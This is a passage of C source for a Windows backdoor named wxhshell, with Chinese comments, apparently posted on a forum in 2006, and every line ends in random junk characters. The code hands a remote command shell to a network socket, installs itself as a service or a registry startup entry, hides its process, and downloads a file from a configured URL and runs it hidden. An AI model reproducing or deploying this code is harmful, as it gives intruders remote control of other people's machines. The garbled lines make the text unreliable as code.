(ewcj\l4*  
    switch(cmd[0]) { IXsOTBM  
  "~T06!F45  
  // 帮助 <"`P;,S  
  case '?': { Q]-r'pYr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )==Qo/N:  
    break; K555z+,'e  
  } ; .hTfxE0  
  // 安装 ]v.Yt/&C{  
  case 'i': { >|JMvbje  
    if(Install()) sE0,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9Yk5b;  
    else ? \NT'CG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E9j(%kQ2  
    break; j{P3o<l&`  
    } 0vM,2:kf*  
  // 卸载 X($@E!|  
  case 'r': { !}HT&N8[r  
    if(Uninstall()) bfA9aT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^&5D,}0  
    else Zh_ P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #4!6pMW(&7  
    break; RueL~$*6.~  
    } XU$\.g p-  
  // 显示 wxhshell 所在路径 \>4x7mF!  
  case 'p': { WI54xu1M  
    char svExeFile[MAX_PATH]; *JVJKqed  
    strcpy(svExeFile,"\n\r"); :#UN^"(m}  
      strcat(svExeFile,ExeFile); #^q@ra  
        send(wsh,svExeFile,strlen(svExeFile),0); b!g8NG  
    break; I)4NCjcCw  
    } [Kd"M[1[ <  
  // 重启 Zy > W2(<  
  case 'b': { a4N8zDS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R= *vPS  
    if(Boot(REBOOT)) DJHE6XJ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r V  
    else { H$]FUv8  
    closesocket(wsh); D]d2opBLj  
    ExitThread(0); SZD@<3Nb  
    } YR$d\,#R  
    break; ">S.~'ds  
    } U6oab9C?k  
  // 关机 E)F"!56lV  
  case 'd': { If(IG]>`D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +IfU 5&5<  
    if(Boot(SHUTDOWN)) ~kPZh1n`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ -f(.S  
    else { BmFs6{>~c  
    closesocket(wsh); n\H.NL)  
    ExitThread(0); 6-uB[$ko  
    } F% K}&3  
    break; gnU##Km|  
    } +4k7ti1Qb  
  // 获取shell q=cH ^`<.  
  case 's': { ,?s: s&4  
    CmdShell(wsh); >"+bL6#  
    closesocket(wsh); <US!XMrCg  
    ExitThread(0); XJi^gT N  
    break; Q GDfX_  
  } u\|Ys  
  // 退出 =%oKYQ  
  case 'x': { {siIRl2&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C@s;0-qL  
    CloseIt(wsh); d<4q%y'X{  
    break; nD;8)VI'I  
    } fHwr6"DJ  
  // 离开 QsH Fk5)  
  case 'q': { JD$;6Jv3P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qluaop  
    closesocket(wsh); HCKj8-*  
    WSACleanup(); Oe}6jcb6&  
    exit(1); b n<}  
    break; {V~G r  
        } 5R7DD5c[  
  } _ ?Z :m  
  } !RwOU Ck  
o9uir"=  
  // 提示信息  (.B+U'6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ie8jBf -  
} fQOh%i9n5  
  } :i:M7}r  
IEW[VU)  
  return; | WMq&-$D  
} >pn5nn1a  
tXnD>H YV  
// shell模块句柄  6,;7iA]  
int CmdShell(SOCKET sock) FrryZe=  
{ H:M;H =0  
STARTUPINFO si; xu7Q^F#u  
ZeroMemory(&si,sizeof(si)); S?Z"){  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vS'5Lm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,\n%e'  
PROCESS_INFORMATION ProcessInfo; A&6qt  
char cmdline[]="cmd"; C| Vz `FY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o2M4?}TpIV  
  return 0; Y:} !W  
} \@HsMV2+zN  
)S6"I  
// 自身启动模式 ^J Y]w^u  
int StartFromService(void) 73OYHp_j  
{ (Cjw^P|Y@  
typedef struct _l;$<]re\k  
{ E<XrXxS1O  
  DWORD ExitStatus; g}=opw6z  
  DWORD PebBaseAddress; <rpXhcR  
  DWORD AffinityMask; \z PcnDB  
  DWORD BasePriority; /{d5$(Y"  
  ULONG UniqueProcessId; ==pGRauq  
  ULONG InheritedFromUniqueProcessId; B)4>:j:{?W  
}   PROCESS_BASIC_INFORMATION; )mw&e}jRV  
!%4&O  
PROCNTQSIP NtQueryInformationProcess; q k+(Ccl  
}hv" ku6!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '+ cPx\4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; THbV],RhJ  
q!P{a^Fnc  
  HANDLE             hProcess; xK3}z N$T  
  PROCESS_BASIC_INFORMATION pbi; 2{E"#}/  
z(&~O;;N#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I,xV&j+<  
  if(NULL == hInst ) return 0; E|fQbkfw  
J<'I.KZ\z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I2PFJXp_]n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S*-/#j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hO@VYO   
7D%}( pX  
  if (!NtQueryInformationProcess) return 0; a yQB@2%  
;K9rE3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oH|<(8efD  
  if(!hProcess) return 0; .;xt{kK  
AH#eoKu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =whYo?cE(  
l@zr1g)  
  CloseHandle(hProcess); u:0M,Ye  
9G@ J#vsqr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z_LN*u  
if(hProcess==NULL) return 0; &_N$S2  
rpu{YC1C%  
HMODULE hMod; mt(2HBNoz  
char procName[255]; qOk=:1`3  
unsigned long cbNeeded; 3'zm)SXJ  
9AsK=/Buf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :"oQ _bLT  
xi =\]  
  CloseHandle(hProcess); ^ |^Q(  
LiF(#OuZ  
if(strstr(procName,"services")) return 1; // 以服务启动 aA-gl9  
Z `)}1|~B  
  return 0; // 注册表启动 M[@=m[#a  
} AGdFJ>/  
XeT{y]lkd  
// 主模块 &m>sGCZ  
int StartWxhshell(LPSTR lpCmdLine) ?$#,h30  
{ (7qdrAeP  
  SOCKET wsl; #K3`$^0 s  
BOOL val=TRUE; >$yqx1=jW  
  int port=0; DVWqrK}q  
  struct sockaddr_in door; *l[;g  
_V`Gmy[]p  
  if(wscfg.ws_autoins) Install(); RvPC7,vh  
mw*BaDN@Q  
port=atoi(lpCmdLine); v iJK%^U=-  
wA#w] 8SM  
if(port<=0) port=wscfg.ws_port; 1[;~>t@C  
-3fzDxD  
  WSADATA data; ]8qFxJ+2^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eBmBD"$  
j}CZ*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yLI)bn!"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I,@f*o  
  door.sin_family = AF_INET; :6*FnKD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *)jhhw=34  
  door.sin_port = htons(port); /b)V=mcR  
n^Uu6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -$[o:dLO  
closesocket(wsl); 2C!Ko"1Y'  
return 1; )lo;y~ o  
} 2V 1|b`b#4  
}op0`-Xb  
  if(listen(wsl,2) == INVALID_SOCKET) { }? W[D  
closesocket(wsl); 8a^E{x@HT  
return 1; ,/=Fm  
} n8.W$&-ia  
  Wxhshell(wsl); H.HXwN/x  
  WSACleanup(); QD}'2{M!  
\NEXtr`Th  
return 0; SeC[,  
&z@~n  
} =wEqI)Td  
 6tPgFa#N  
// 以NT服务方式启动 XPhC*r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s 9Y'MQo*  
{ /2!Wy6 p  
DWORD   status = 0; o-))R| ~z  
  DWORD   specificError = 0xfffffff; 8 pQx6QE  
\C )S3!h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?4kM5NtP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Mk9##R#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ky`xBO =  
  serviceStatus.dwWin32ExitCode     = 0; DaV:Slp9  
  serviceStatus.dwServiceSpecificExitCode = 0; W]]@pbG"H\  
  serviceStatus.dwCheckPoint       = 0; NEpomE(>x  
  serviceStatus.dwWaitHint       = 0; B J0P1vh6M  
}'y=JV>l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q;^Q1[Ari  
  if (hServiceStatusHandle==0) return; W_%p'8,  
vCf{k  
status = GetLastError(); @MS}tZ5  
  if (status!=NO_ERROR) SpM|b5c5  
{ atW=xn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UkE  fuH  
    serviceStatus.dwCheckPoint       = 0; TJHab;7F  
    serviceStatus.dwWaitHint       = 0; sUc_)  
    serviceStatus.dwWin32ExitCode     = status; ,[ UqUEO  
    serviceStatus.dwServiceSpecificExitCode = specificError; eCDwY:t`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GI~JIXHTQ  
    return; yZ_6yJw3}  
  } }, < dGmkx  
@2Lp I*]C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5cv&`h8uo_  
  serviceStatus.dwCheckPoint       = 0; 6%hr]>L  
  serviceStatus.dwWaitHint       = 0; 7wivu*0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Md4hd#z  
} HinPO  
o_.f7|U!  
// 处理NT服务事件,比如:启动、停止 Z#O )0ou  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ps DY}y\"  
{ \; 9log<Z  
switch(fdwControl) WRa4g  
{ m44"qp  
case SERVICE_CONTROL_STOP: XB8g5AxR  
  serviceStatus.dwWin32ExitCode = 0; V__|NVoOm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C#^V<:9  
  serviceStatus.dwCheckPoint   = 0; B1x# 7>K  
  serviceStatus.dwWaitHint     = 0; 9vQI ~rz?  
  {  }de {-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X 5.%e&`  
  } 1Mftq4nq  
  return; DLigpid  
case SERVICE_CONTROL_PAUSE: "Je*70LG#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fEdp^oVg  
  break; eSqKXmH[m  
case SERVICE_CONTROL_CONTINUE: +b =X~>vZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Kx&+  
  break; N(6Q`zs  
case SERVICE_CONTROL_INTERROGATE: >1}RiOd3  
  break; 4"om;+\  
}; 88@" +2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K1th>!JW'  
} /IO<TF(X  
\]j{  
// 标准应用程序主函数 nY>UYSv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  {"RUiL^  
{ 4Bn <L&@/  
}f l4^F  
// 获取操作系统版本 =t/ "&[r  
OsIsNt=GetOsVer(); rZij[6]Y^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % `4\ 8H`  
;?{N=x8  
  // 从命令行安装 vKcZgIR  
  if(strpbrk(lpCmdLine,"iI")) Install(); IL]Js W  
#j+0jFu  
  // 下载执行文件 qZV.~F+  
if(wscfg.ws_downexe) { lU`}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H%peE9>$  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Ojf9 6is  
} W Ai91K@  
z#( `H6n:  
if(!OsIsNt) { <`f~Z|/-_(  
// 如果时win9x,隐藏进程并且设置为注册表启动 oEuV&m|yX  
HideProc(); j><8V Qx  
StartWxhshell(lpCmdLine); z6Xn9  
} 6^+T_{gl  
else =SUCcdy&  
  if(StartFromService()) ?a]1$>r  
  // 以服务方式启动 q83!PI  
  StartServiceCtrlDispatcher(DispatchTable); Y) ig:m]#  
else ~ Pm[Ud  
  // 普通方式启动 KE_GC ;bQ  
  StartWxhshell(lpCmdLine); -Wt (t2  
?xT ^9  
return 0; sN8)p%'Lg  
}
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只看该作者 1 发表于: 2006-10-10
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